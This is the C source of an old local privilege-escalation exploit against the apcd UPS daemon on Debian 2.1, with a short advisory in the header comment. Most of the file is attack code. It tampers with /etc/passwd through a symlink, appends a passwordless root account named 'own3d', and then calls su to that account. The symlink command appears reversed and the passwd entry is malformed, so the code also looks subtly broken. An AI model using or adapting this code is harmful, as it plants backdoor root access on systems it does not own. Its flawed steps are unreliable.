/*

  Apcd Local Xploit by wC (wildcoyote@gk-team.org)

  Vulnerable Systems:

  Debian GNU/Linux 2.1

  WARNING: THIS CAN FUCK UP YOUR /etc/passwd ... :\
           What i mean is, i create a copy of it..but,
           i have to wait for the SIGUSR1 to be sent..
           so r00t can become suscpicious :\
           Oh well..if don't care :P

  Advisorie:

  A vulnerability exists in the apcd package, as shipped
  in Debian GNU/Linux 2.1. By sending the apcd process a
  SIGUSR1, a file will be created in /tmp called upsstat.
  This file contains information about the status of the
  APC device. This file is not opened securely, however,
  and it is possible for an attacker to create a symlink
  with this name to another place on the file system. This
  could, in turn, lead to a compromise of the root account.

  apcd is used to monitor information from APC
  uninterruptable power supplies. The ups will inform the
  apcd that power has been removed, and the apcd will shut
  down the machine.

*/

#include <stdio.h>

main()
{
 char buf[256];
 FILE *fx1,*fx2;
 printf("\n\tApcd Local Xploit by wC (wildcoyote@gk-team.org)\n\n");
 printf("Setting up exploit...\n");
 system("cp /etc/passwd /tmp/.hidden_passwd"); // backup passwd!
 printf("Linking the upsstat tmp file to /etc/passwd...\n");
 system("ln -sf /tmp/upsstat /etc/passwd");
 printf("Done =)\n");
 printf("Wait for SIGUSR1 to be sent...\n");
 fx1=fopen("/tmp/.hidden_passwd","r");
 fx2=fopen("/etc/passwd","a");
 while(fgets(buf,256,fx1)!=NULL) fputs(buf,fx2);
 fclose(fx1);
 fputs("own3d::0:0:/:/bin/sh",fx2);
 fclose(fx2);
 printf("All done..lets try and su own3d :P\n");
 system("su own3d");
 printf("Oh k...fun is over =)\n");
 printf("Now i'll put passwd back in its place :P\n");
 system("mv /tmp/.hidden_passwd /etc/passwd");
 printf("Hope everyting went out sm0thly..\n");
 printf("Greetz to my team, Genetik Techonlogies www.gk-team.org\n\n");
}
/*                    www.hack.co.za           [14 June]*/